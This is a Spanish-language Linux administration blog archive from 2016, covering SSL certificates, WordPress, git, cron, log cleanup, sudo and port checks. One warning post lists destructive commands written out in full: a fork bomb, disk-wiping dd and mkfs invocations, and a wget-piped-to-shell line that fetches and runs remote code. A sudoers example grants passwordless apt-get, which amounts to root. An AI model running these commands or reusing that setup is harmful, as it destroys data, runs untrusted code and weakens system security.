martes, 27 de diciembre de 2016

Certificados SSL auto-firmados


Para establecer una conexión segura y de confianza es necesario generar certificados que respalden la identidad del servidor. Estos certificados son generalmente emitidos por entidades certificadoras (Certificate Authority) independientes y de confianza reconocida. Sin embargo, para una utilización más casera y económica, es posible crear un certificado “auto-firmado”.

Instalación del Certificado

# apt-get install openssl ca-certificates

Generación de los certificados

La generación de un certificadoSSL requiere de los siguientes pasos:
1.- primero es generada una clave privada; 
2.- en seguida ésta es usada para generar un pedido de certificación (Certificate Signing Request (CSR)).
3.- El pedido de certificación es entonces enviado a la entidad certificadora (Certificate Authority (CA)) que devuelve el certificado firmado
NOTA: Es posible ahorrarse el último paso, generando un certificado auto-firmado (Self-signed Certificate).

Crear una carpeta de trabajo
root@server:# mkdir certs
root@server:# cd certs
root@server:~/certs#

Clave privada

Generar una clave privada(Private Key):
root@server:~/certs# openssl genrsa -out server.key 2048
Generating RSA private key, 2048 bit long modulus
..........+++
...........................................+++
e is 65537 (0x10001)
root@server:~/certs#

Esta clave debe ser almacenada con especial cuidado y sólo debe ser accesible por el usuario root:

root@server:~/certs# chmod 600 server.key

Pedido de certificación

Para generar un pedido de certificación (Certificate Signing Request), debe indicarse en el campo Common Name el nombre del servidor para el cual será generado el certificado. En caso de que un certificado sea requerido por varios servidores del mismo dominio, es posible usar la sintaxis *.home.lan:

root@server:~/certs# openssl req -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:VE
State or Province Name (full name) [Some-State]:Venezuela
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:My Home Lan
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:*.home.lan
Email Address []:

Please enter the following `extra` attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Certificado auto-firmado

El pedido de certificación debería ser enviado a la entidad certificadora, que devolvería el certificado firmado. En este caso, será utilizado para crear un certificado (Self-Signed Certificate), válido por 365 días:

root@server:~/certs# openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
Signature ok
subject=/C=VE/ST=Venezuela/O=Home Lan/CN=*.home.lan
Getting Private key
Enter pass phrase for server.key:
root@server:~/certs#

El proceso de creación de los certificados concluyó. Al final, fueron generados los siguientes archivos:

Archivo         Descripción
server.key La clave privada
server.csr El pedido de firma del certificación
server.crt         Al certificado auto-firmado


El certificado auto-firmado es válido por 365 días, pero puede ser renovado en cualquier momento, al regenerar el certificado auto-firmado.

Instalación de la clave privada y del certificado auto-firmado

Para esto, debe copiarse las claves privadas en /etc/ssl/private y el certificado en /etc/ssl/certs:

root@server:~/certs# cp server.key /etc/ssl/private/
root@server:~/certs# cp server.crt /etc/ssl/certs/
Así, el certificado auto-firmado está listo para utilizarse.

Como se trata de un certificado auto-firmado, su utilización siempre dará origen a un aviso por parte de la aplicación cliente


martes, 22 de noviembre de 2016

Instalación de WordPress

En esta oportunidad se mostrara como instalar WordPress 

1.- Descargar la Ultima Versión de WordPress del siguiente Link

https://ve.wordpress.org/txt-download/

2.- Descomprime el archivo en una carpeta vacía.
3.- Abre wp-config-sample.php con un editor de texto como Notepad o similar y rellena los datos de tu conexión a la base de datos.
4.- Guarda el archivo como wp-config.php.
5.- Sube todo a tu servidor.
Ve a tu sitio y abre http://www.tudominio.com/wp-admin/install.php en tu navegador. Si hay algún error, haz el favor de comprobar tu archivo wp-config.php e intentar otra vez. Si vuelve a fallar, visita los foros de ayuda con todos los datos que puedas aportar.
5.- Elige tu nombre de usuario y contraseña. Si dejas ambos campos en blanco, se te asignara el nombre de usuario admin y una contraseña al azar.
6.- Se te enviará a la página para que inicies sesión, donde deberás introducir el nombre de usuario y contraseña que seleccionaste en el paso anterior. Si la contraseña te fue proporcionada por el instalador, te recomendamos cambiarla haciendo click en ‘Perfil’.
Eso es todo. ¡Disfruta!

Instalar el archivo de idioma en un sitio existente
Si ya tienes una instalación en línea de la misma versión de WordPress, pero en idioma inglés, puedes cambiar el idioma de tu página usando solamente el archivo de la traducción incluido en el paquete siguiendo estos pasos:

Busca el archivo es_VE.mo en la carpeta  /wp-content/languages/ del paquete y súbelo al directorio /wp-content/languages/ de tu instalación.
Modifica con cualquier editor de texto el archivo  wp-config.php que se encuentra en la carpeta raíz de tu instalación, cambiando el valor define ('WPLANG', '');  por  define ('WPLANG', 'es_VE');
Ahora la administración de tu WordPress aparecerá en español de Venezuela.

Actualizar manualmente
Antes de actualizar nada, asegúrate de tener copias de respaldo de los archivos que hayas modificado.
Haz una Copia de Seguridad de tus archivos y tu base de datos.
Sube los nuevos archivos.
Dirige tu navegador a http://www.tudominio.com/wp-admin/upgrade.php.
Cambios a las plantillas del tema

Si has personalizado las plantillas del tema, puede que tengas que hacer algunos cambios relevantes cuando actualizes entre versiones mayores.

martes, 15 de noviembre de 2016

9 comandos peligrosos en Linux


El shell de Linux es muy potente y sólo una simple instrucción podría llevarnos a eliminar sin querer directorios, archivos, el raíz, etc. Linux no suele pedir confirmación sino que ejecuta el comando de inmediato pudiendo causar la pérdida de datos útiles.
Echa un vistazo a los 9 comandos más "peligrosos":



1. bomba fork
:(){ :|: & };: es una función bash. Una vez ejecutada, se repite varias veces hasta que el sistema se bloquea. Podríamos decir que causa una denegación de servicio hasta el punto que tenemos que reiniciar el servidor.

2. mv directorio/dev/null
mv directorio/dev/null es otro comando arriesgado. dev/null o el dispositivo null descarta todos los datos escritos en el pero informa que la operación de escritura se ha realizado correctamente. Es también conocido como agujero negro o bit bucked.

3. rm -rf 
El comando rm -rf es para borrar archivos o directorios. Siempre hay que tener mucho cuidado al utilizarlo. El parámetro '-r' elimina el contenido de una carpeta de forma recursiva y el parámetro '-f' fuerza la eliminación sin preguntar.

4. mkfs
mkfs puede ser un comando peligroso si no conoces su propósito. Cualquier cosa después de mkfs será formateada y reemplazada por un sistema de archivos en blanco: mkfs, mkfs.ext3, mkfs.bfs, mkfs.ext2, mkfs.minix, mkfs.msdos, mkfs.reiserfs, mkfs.vfat, mkfs.cramfs (este último sin necesidad de tener permisos de administración).

5. bomba tar
Se trata de un archivo empaquetado que "explota" en miles o millones de archivos con nombres similares a los archivos existentes en el directorio actual en vez de en un directorio nuevo. La forma de evitarlo sería crear y entrar en un directorio nuevo antes de desempaquetarlo o listar el contenido previamente con -t.

6. dd
El comando dd se utiliza para copiar y convertir particiones del disco duro. Sin embargo, puede llegar a ser perjudicial si se especifica el destino equivocado.
El comando puede ser cualquiera de los siguientes:
    dd if=/dev/hda of=/dev/hdb    dd if=/dev/hda of=/dev/sdb    dd if=something of=/dev/hda    dd if=something of=/dev/sda    dd if=/dev/zero of=/dev/had (will zero out the whole primary hard drive)

7. Código shell script
Alguien podría enviarte un enlace para que descarges y ejecutes un shell script. Por ejemplo: wget http://some_malicious_source -O- | sh

8. Código fuente malicioso
Alguien podría facilitarte código fuente para compilarlo. Este código podría parecer un código normal, pero en realidad tratarse de algún código malicioso oculto entre código fuente normal que puede causar daños a tu sistema. Para evitar ser víctima de este tipo de ataque, sólo debes aceptar y compilar el código fuente de fuentes confiables.

9. Bomba de descompresión
Una bomba zip es un archivo que parece ser muy pequeño, de unos pocos KB, pero que cuando se descomprime lo hace en cientos de GB de datos pudiendo llenar tu disco duro para reducir el rendimiento del sistema. Si os acordáis hace tiempo ya hablamos en el blog de ellas.

miércoles, 12 de octubre de 2016

Agregar el idioma al español en LibreOffice con GNU/Linux

Hola comunidad, este articulo trata de como agregar el idioma al español en LibreOffice y GNU/Linux. Básicamente esto se logra insertando la siguiente linea en el terminal, en este ejemplo use la distribución GNU/Linux Ubuntu.
Ingresar un terminal y como root coloca lo siguiente:

#apt-get install libreoffice-help-es libreoffice-l10n-es
Ingresan a la ofimática y el idioma ya estará en español.


miércoles, 17 de agosto de 2016

Cómo saber si un puerto está abierto en Linux

Hoy vamos a enseñarte las distintas herramientas que puedes usar en el terminal de Linux.

Nmap
Nmap es la primera herramienta que os traemos, un programa de código abierto usado para rastrear puertos que normalmente se usa para evaluar la seguridad en sistemas informáticos. Para saber si un determinado puerto está abierto en un ordenador o servidor con una IP determinada usaremos el siguiente comando:

nmap [IP del ordenador/servidor] -p [Puerto] | grep -i tcp

Este software se encarga de preguntar al host si el puerto esta abierto y luego usando el comando grep filtraremos tan sólo la información relacionada con el estado del puerto para eliminar información que no deseemos.

Nc
Nc es otra herramienta que nos permitirá saber si un determinado puerto está o no abierto, la ventaja con respecto a Nmap es que con el comando nc tenemos que teclear aún menos. Sólo tenemos que teclear esto en una ventana de comandos:

nc -zv [IP del ordenador/servidor] [Puerto]

En la opción -zv, la v nos da la información de si el puerto está o no abierto y la z se encarga de cerrar la conexión una vez hayamos comprobado el estado del puerto. Si no pusiesemos la z la conexión no se cerraría.

Telnet
Es otra alternativa a las otras herramientas, la ventaja es que es una herramienta muy completa que nos aportará mucha más información además de conocer el estado del puerto, usaremos el siguiente comando:

telnet [IP del ordenador/servidor] [Puerto]

La única desventaja que encontramos en este comando es la manera de cerrar la conexión, no es muy estable y en determinadas ocasiones tendremos que cerrar la ventana de terminal o parar el proceso.

De esta manera con unos pocos caracteres en el terminal podremos saber el estado de un puerto además de mucha más información, algo que nos resultará de mucha utilidad para prácticamente cualquier uso y que seguro necesitaremos usar en algún momento.

martes, 2 de agosto de 2016

Bloquear IP sospechosas en un servidor linux

En ocasiones detectamos alguna ip que esta intentando acceder al panel administrador de una web y sabemos por su ip que el acceso es de alguien que no debe poder entrar en ese sitio, podemos bloquear su ip para no dedicar más recursos al ataque. En ocasiones el ataque es en el puerto 25 intentando enviar correo electrónico de forma fraudulenta.

Para bloquear las ips, por el motivo que sea, podemos utilizar el comando route:

route add -host 24.92.120.34 reject     (bloquear la ip)

Para ver las ips que tenemos bloqueadas:

route -n    (ver ips bloqueadas)

En caso que queramos desbloquear una ip que hayamos bloqueado:

route del 24.92.120.34 reject        (desbloquear ip)

El comando route muestra la tabla de enrutamiento que reside en el kernel y también se usa para modificarla. La tabla que especifica cómo se enrutan los paquetes a un host se llama tabla de enrutamiento.

La sintaxis del comando route es:

route [opciones]

Las opciones disponibles:

route-opciones

Para poder bloquear rangos de ips lo podemos hacer del siguiente modo:

ip route add blackhole 22.118.20.0/24    (bloquear rango)

Para calcular exactamente las ips que bloqueamos podemos consultar la siguiente calculadora de rangos ip

lunes, 1 de agosto de 2016

Comandos Basicos de Git

a) Buscando Ayuda:
1. git help comando ó git comando --help
    Muestra la ayuda para ese comando
b) Creación de un repositorio:
2. git init
    Crea un repositorio en el directorio actual
3. git clone url
    Clona un repositorio remoto dentro de un directorio
c) Operaciones sobre Archivos:
4. git add path
    Adiciona un archivo o un directorio de manera recursiva
5. git rm ruta
    Remueve un archivo o directorio del árbol de trabajo
      -f : Fuerza la eliminación de un archivo del repositorio
6. git mv origen destino
    Mueve el archivo o directorio a una nueva ruta
      -f : Sobre-escribe los archivos existentes en la ruta destino
7. git checkout [rev] archivo
    Recupera un archivo desde la rama o revisión actual
      -f : Sobre-escribe los cambios locales no guardados
d) Trabajando sobre el código:
8. git status
    Imprime un reporte del estado actual del árbol de trabajo local
9. git diff [ruta]
    Muestra la diferencia entre los cambios en el árbol de trabajo local
10. git diff HEAD ruta
    Muestra las diferencias entre los cambios registrados y los no registrados
11. git add path
    Selecciona el archivo para que sea incluido en el próximo commit
12. git reset HEAD ruta
    Marca el archivo para que no sea incluido en el próximo commit
13. git commit
    Realiza el commit de los archivos que han sido registrados (con git-add)
      -a : Automáticamente registra todos los archivos modificados
14. git reset --soft HEAD^
    Deshace commit & conserva los cambios en el árbol de trabajo local
15. git reset --hard HEAD^
    Restablece el árbol de trabajo local a la versión del ultimo commit
16. git clean
    Elimina archivos desconocidos del árbol de trabajo local
e) Examinando el histórico:
17. git log [ruta]
    Muestra el log del commit, opcionalmente de la ruta especifica
18. git log [desde [..hasta]]
    Muestra el log del commit para un rango de revisiones dado
      --stat : Lista el reporte de diferencias de cada revisión
      -S'pattern' : Busca el historial de cambios que concuerden con el patrón de búsqueda
19. git blame [archivo]
    Muestra el archivo relacionado con las modificaciones realizadas
f) Repositorios remotos:
20. git fetch [remote]
    Trae los cambios desde un repositorio remoto
21. git pull [remote]
    Descarga y guarda los cambios realizados desde un repositorio remoto
22. git push [remote]
    Guarda los cambios en un repositorio remoto
23. git remote
    Lista los repositorios remotos
24. git remote add remote url
    Añade un repositorio remoto a la lista de repositorios registrados
g) Ramas:
25. git checkout rama
    Cambia el árbol de trabajo local a la rama indicada
      -b rama : Crea la rama antes de cambiar el árbol de trabajo local a dicha rama
26. git branch
    Lista las ramas locales
27. git branch -f rama rev
    Sobre-escribe la rama existente y comienza desde la revisión
28. git merge rama
    Guarda los cambios desde la rama
h) Exportando e importando:
29. git apply - < archivo
    Aplica el parche desde consola (stdin)
30. git format-patch desde [..hasta]
    Formatea un parche con un mensaje de log y un reporte de diferencias (diffstat)
31. git archive rev > archivo
    Exporta resumen de la revisión (snapshot) a un archivo
      --prefix=dir/ : Anida todos los archivos del snapshot en el directorio
      --format=[tar|zip] : Especifica el formato de archivo a utilizar: tar or zip
i) Etiquetas:
32. git tag name [revision]
    Crea una etiqueta para la revisión referida
      -s : Firma la etiqueta con su llave privada usando GPG
      -l [patrón] : Imprime etiquetas y opcionalmente los registros que concuerden con el patrón de busqueda
j) Banderas de Estado de los Archivos:
M (modified) : El archivo ha sido modificado
C (copy-edit) : El archivo ha sido copiado y modificado
R (rename-edit) : El archivo ha sido renombrado y modificado
A (added) : El archivo ha sido añadido
D (deleted) : El archivo ha sido eliminado
U (unmerged) : El archivo presenta conflictos después de ser guardado en el servidor (merge)

miércoles, 27 de julio de 2016

Error: not open error log file /var/log/apache2/error.log.

# service apache2 restart
[....] Restarting web server: apache2(2)No such file or directory: apache2: could not open error log file /var/log/apache2/error.log.
Unable to open logs
Action 'start' failed.
The Apache error log may have more information.
 failed!

No se encuentra el archivo /var/log/apache2/error.log.

Se soluciona de la siguiente manera

Se debe crear un archivo  error.log en la ruta /var/log/apache2/ 

Entrar en var/log

cd var/log

Crear la carpeta apache2

mkdir apache2

Crear el archivo error.log

touch error.log 

Por ultimo se reinicia el servicio nuevamente y listo

# service apache2 restart
[ ok ] Restarting web server: apache2 ... waiting .

Error connecting to database: '/var/run/mysqld/mysqld.sock' (2)

ERROR DE MYSQL EN UN SERVER

Database error
Error connecting to database: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)


Verificación en el servidor el uso de las particiones

# df -h
Filesystem      Size  Used Avail Use% Mounted on
rootfs          2.0G  2.0G     0 100% /
udev             10M     0   10M   0% /dev
tmpfs            50M   80K   50M   1% /run
/dev/xvda2      2.0G  2.0G     0 100% /
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           202M     0  202M   0% /run/shm
tmpfs           202M     0  202M   0% /tmp
 

Observamos que / tiene un tamaño/size de 2.0Gb y esta Usado/Used 2.0Gb 

Procedemos a reiniciar el servicio de mysql y verificamos si nos arroja algún dato

# /etc/init.d/mysql restart
[ ok ] Stopping MySQL database server: mysqld.
[....] /etc/init.d/mysql: ERROR: The partition with /var/lib/mysql is too full! [FA failed!


Observamos que arroja lo siguiente: La particion /var/lib/mysql esta FULL

Para esto se debe realizar lo siguiente

# apt-get clean 
Para limpiar los archivos .deb de archivos, ya que no los necesita, una vez que haya instalado un paquete

Verificación nuevamente del uso de las particiones en el servidor
 # df -h
 Filesystem      Size  Used Avail Use% Mounted on
rootfs          2.0G  1.8G   91M  96% /
udev             10M     0   10M   0% /dev
tmpfs            50M   84K   50M   1% /run
/dev/xvda2      2.0G  1.8G   91M  96% /
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           202M     0  202M   0% /run/shm
tmpfs           202M     0  202M   0% /tmp


Observamos que / tiene un tamaño/size de 2.0Gb y esta Usado/Used 1.8Gb 
es decir con la limpieza libero un poco de espacio


Procedemos a reiniciar el servicio de mysql y verificamos si nos arroja algún dato

# /etc/init.d/mysql restart
[ ok ] Stopping MySQL database server: mysqld.
[ ok ] Starting MySQL database server: mysqld ..
[info] Checking for tables which need an upgrade, are corrupt or were
not closed cleanly..


Vemos que levanto el servicio , sin embargo arroja una información , Chequeando las tablas que necesitan una actualización, son corruptos

Procedemos a vaciar los archivos con más de 10 días sería:
find /var/log -mtime +10 -exec rm -r {} \;


Para tener pistas de dónde están los ficheros que crecen a diario, podemos buscar los que se hayan modificado hoy:
find /var -mtime 0 -exec ls -ld {} \;

lunes, 25 de julio de 2016

Mostrando contenido de un archivo

Podemos mostrar el contenido de los archivos de texto en la línea de comandos, cat (conCATtenate).
$ cat top_movies.txt

Mostrar sólo las primeras líneas, head.
$ head top_movies.txt

Mostrar sólo las últimas líneas, tail
$ tail top_movies.txt

less

Permite desplazarse por el texto de forma interactiva, less.

less es un visor interactivo de texto. Al ejecutarlo desaparece el prompt.

Podemos desplazarnos por el texto con las flechas, la barra espaciadora y las teclas avpag y repag.

Se sale del visor y se vuelve a prompt con la tecla q.

$ less top_movies.txt

grep

Seleccionando líneas, grep

Puede que nos interese seleccionar sólo algunas líneas de las presentes en el archivo.

Un comando muy potente para obtener estas líneas es grep.

grep busca en archivos de texto líneas que incluyan el patrón dado.

Se pueden buscar por ejemplo todas las películas producidas entre el año 2000 y 2009.

$ grep 200 top_movies.txt
También se pueden seleccionar las líneas que no incluyen el patrón buscado.

$ grep -v 200 top_movies.txt
Se puede mostrar sólo el patrón encontrado, no la línea completa.

$ grep -o 200 top_movies.txt
El modificador -f sirve para darle los patrones a buscar en un archivo. El programa leerá cada línea del primer fichero y la buscará en el segundo fichero.

$ grep -f file1 file2
Grep permite también buscar todos las líneas de un fichero en otro fichero. Descarga listado_peliculas.txt y busca las películas en el fichero top_movies.txt

$ grep -f listado_peliculas.txt top_movies.txt

jueves, 21 de julio de 2016

Muestra detalles de un archivo

$ stat site.retry 
Fichero: «site.retry»
Tamaño: 11         Bloques: 8          Bloque E/S: 4096   fichero regular
Dispositivo: 801h/2049d Nodo-i: 1748123     Enlaces: 1
Acceso: (0644/-rw-r--r--)  Uid: ( 1000/kimberling)   Gid: ( 1000/kimberling)
Acceso: 2016-07-21 14:29:30.388736459 -0430
Modificación: 2016-06-17 10:32:22.000000000 -0430
Cambio: 2016-07-15 07:22:45.088790416 -0430
Creación: -


$ stat -c%u fichero Nos muestra el User ID del propietario del fichero.

$ stat -c%U fichero Nos muestra el nombre de usuario del propietario del fichero.

$ stat -c%g fichero Nos muestra el Group ID del propietario del fichero.

$ stat -c%G fichero Nos muestra el nombre del grupo al que pertenece propietario del fichero.

$ stat -c%n fichero Nos muestra el nombre del fichero.

$ stat -c%F fichero Nos muestra el tipo del fichero.

$ stat -c%A fichero Nos muestra los derechos de acceso.

$ stat -c%a fichero Nos muestra los derechos de acceso en formato octal.

$ stat -c%x fichero Nos muestra la fecha y hora del último acceso.

$ stat -c%y fichero Nos muestra la fecha y hora de la última modificación.

$ stat -c%z fichero Nos muestra la fecha y hora del último cambio.

jueves, 14 de julio de 2016

El Crontab

Los Cron son administradores de procesos que se ejecutan en segundo plano cada cierto tiempo según sean configuremos; son ampliamente utilizados para hacer backup programados; como usuarios podemos automatizar tareas con comandos BASH (por ejemplo para ejecutar un script como un .sh); de esta forma podemos tener una administración completa de un sistema; no sólo es posible emplear .sh para utilizar un Cron, también se puede emplear cualquier tipo de comando BASH (por ejemplo para ejecutar un archivo PHP); todo depende de lo que se desee hacer:

Cron es un demonio (servicio), y por lo tanto solo es iniciado una vez, generalmente con el mismo arranque del sistema.

El Crontab

Cron es el administrador de procesos, Cron lee en un archivo de texto plano llamado Crontab en donde se guardan una lista de comandos creados por el usuario ha ser ejecutados; la sintaxis para crear una de estas tareas programadas en muy sencilla:

* * * * * comando ha ser ejecutado
- - - - -
| | | | |
| | | | ----- Día de la semana (0 - 7)
| | | ------- Mes (1 - 12)
| | --------- Día del mes (1 - 31)
| ----------- Hora (0 - 23)
------------- Minuto (0 - 59).

Formato básico de una tarea en el Crontab

Básicamente consta de dos mitades:

El tiempo en el cual se ejecutará la tarea del Crontab; el mismo esta compuesto por operadores y resulta de lo más versátil:

  • Cada minuto: En intervalos de entre 0 a 59.
  • Cada hora: En intervalos de entre 0 a 23.
  • Cada día: En intervalos de entre 0 a 31.
  • Cada mes: En intervalos de entre 0 a 12 (0==12 y 12 == Diciembre).
  • Cada día de la semana: En intervalos de entre 0 a 7 (0==7 y 7 == domingo).



Ejemplos de tareas en el Crontab

Si deseamos ejecutar una tarea del Crontab cada 5 minutos:
*/5 * * * * /home/fedora/sh/backup.sh

Si deseamos ejecutar una tarea del Crontab a las 10 de la mañana:
0 10 * * * /home/fedora/sh/backup.sh

Si deseamos ejecutar una tarea del Crontab a las 2:15 de la tarde todos los días:
15 14 * * * /home/fedora/sh/backup.sh

Si deseamos ejecutar una tarea del Crontab a las 2:15 de la tarde todos los días exceptuando los fines de semana (de lunes a viernes):
15 14 * * 1-5 /home/fedora/sh/backup.sh

Si deseamos ejecutar una tarea del Crontab a las 2:15 de la tarde todos los domingos:
15 14 * * 0 /home/fedora/sh/backup.sh
O
15 14 * * 7 /home/fedora/sh/backup.sh
O
15 14 * * sun /home/fedora/sh/backup.sh

Si deseamos ejecutar el 21 de octubre a las 7:21:
21 7 21 10 * /home/fedora/sh/backup.sh

Si deseamos hacer un backup todos los días a las ocho de la noche y guardar un registro (log) con los posibles errores al ejecutar el Crontab:
0 20 * * * /home/fedora/sh/backup.sh >>  /home/fedora/sh_backup/cron_ruas.log 2>&1

Luego de realizar los cambios se restaura el servicio 

/etc/init.d/cron restart

Ejecutar Script automáticamente con CRONTAB - Listo

Script en la ruta /levanta-agente-zabbix.sh con CRONTAB

1.- Creamos el siguiente scrip en bash
#!/bin/sh

/etc/init.d/zabbix-agent restart

2.- Una vez creado el escript y guardado en /

pasamos al archivo /etc/crontab y colocamos al final las siguientes lineas

# Reinicios de zabbix
# m h dom mon dow user command

59 11   * * *   root  /root/levanta-agente.sh
59 23   * * *   root  /root/levanta-agente.sh

Esto quiere decir que todos los dias a las  11:59 y las 23:59 el usuario root reiniciara los agentes de zabbix

Por último e restaura el servicio 
/etc/init.d/cron restart

lunes, 11 de julio de 2016

Limpiar archivos de log en Linux

Una tarea común de mantenimiento en los sistemas operativos Linux (y que es extensivo a la mayoría de los sistemas operativos basados o clones de Unix) es la de limpieza de archivos de logs. Tanto el sistema operativo, como algún motor de base de datos y unos cuantos procesos propios pueden generar grandes cantidades de archivos de logs. Al largo plazo, es menester quitar estos archivos pues nos ocupan espacio, ya son obsoletos y nos suelen complicar las búsqueda.

Por tal motivo, basado en la publicación original “Listar/Eliminar archivos por fechas en Linux” veamos como podemos desde el shell hacer búsquedas de archivos antiguos y eliminarlos. Está de más decir, que los comandos que a continuación se mencionan son candidatos a formar parte de un shell script y que probablemente sea ejecutado por el cron.
Bien, basta de palabras y veamos algunos ejemplos prácticos:

Buscar archivos actualizados hasta tres días atrás en el directorio actual:
cd /var/log
find -name \*.log -mtime +3

Buscar archivos actualizados hasta tres días atrás en el directorio actual y eliminarlos:
find . -name \*.log -mtime +3 -exec rm {} \;

Buscar los archivos actualizados hasta un día atrás y mostrar su ruta completa:
find /var/log/[a-z]* \*.sql -mtime +1

Lo mismo que en el segundo caso, si queremos eliminar los archivos devueltos por el comando anterior:
find /var/log/[a-z]* \*.sql -mtime +1 -exec rm {} \;

Además, podemos afinar algo más la búsqueda utilizando el argumento -mmin en vez de -mtime:
  • -mtime n, busca archivos modificados n*24 horas atrás (n días atrás)
  • -mmin n, para archivos modificado n minutos atrás

Uso de Sudo en un equipo

Con sudoers se pueden dar permisos de super usuarios a usuarios simples de sistema, podemos asignarles todos los permisos de root o restringirlos a sólo ser root en ciertas condiciones. Para lograr esto hay que instalar un paquete que se llama "sudo" y al instalarlo la configuración se guarda en /etc/sudoers. Un ejemplo de esto es lo siguiente, un usuario llamado king y deseamos que el mismo pueda ejecutar el comando "mkdir". Lo primero que debemos hacer es buscar donde se ejecuta ese comando, en sistemas Linux como debian o centos el comando está en /bin/mkdir. Se pondría así en sudoers:

king ALL = NOPASSWD : /bin/mkdir

si queremos que ejecute apt-get

king ALL = NOPASSWD : /usr/bin/apt-get

La opción "NOPASSWD" es para que no solicite password al ejecutar el comando. 

Siempre hay que buscar donde se ejecuta el comando y agregarlo al la línea donde está el usuario en cuestión, se pueden agregar varios comando y todos se separan con comas ",". Por ejemplo:

king ALL = NOPASSWD : /usr/bin/apt-get, /usr/bin/aptitude, /bin/mkdir, /usr/bin/npm

En el caso que deseamos que un usuario tenga todos los permisos de root, sería así

king    ALL=(ALL:ALL) ALL

Uso de Chkconfig en un Servidor

Chkconfig que permite configurar que servicios arrancan/detienen en cada nivel de ejecucción. Aclaración: chkconfig no inicia ni detiene servicios al momento (excepto aquellos bajo xinetd), tan solo crea o elimina precisamente los enlaces de los que se habló en el punto anterior de una manera mas amigable. Si lo que se quiere es iniciar o detener el servicio en tiempo real o manualmente hay que usar service o directamente el script con su argumento conveniente tal como se explicó anteriormente.
 
Veamos ejemplos que muestran como trabajar con chkconfig.
 
 

Con la opción --list nos da una lista completa de todos los servicios instalados y para cada nivel si arrancará (on) al entrar a ese nivel o se detendrá (off) o simplemente no se iniciara. Nótese que al final de la lista vienen los servicios que dependen del superservidor xinetd.
 
Si se indica como argumento el nombre de algún servicio nos regresará su estatus
#chkconfig apache2
apache2   on

Sin ningún argumento nos dará una lista con el status de todos los servicios
#chkconfig
httpd  off
mysql  on
smb    on
 
Se desea que el servidor web apache (httpd) inicie cuando se entra en el nivel 5, entonces usamos la opción --level:

#chkconfig --level 5 httpd on

La base de datos MySQL no se desea que inicie en los niveles 3 y 5, solo hasta que el administrador decida arrancarla:

#chkconfig --level 35 mysql off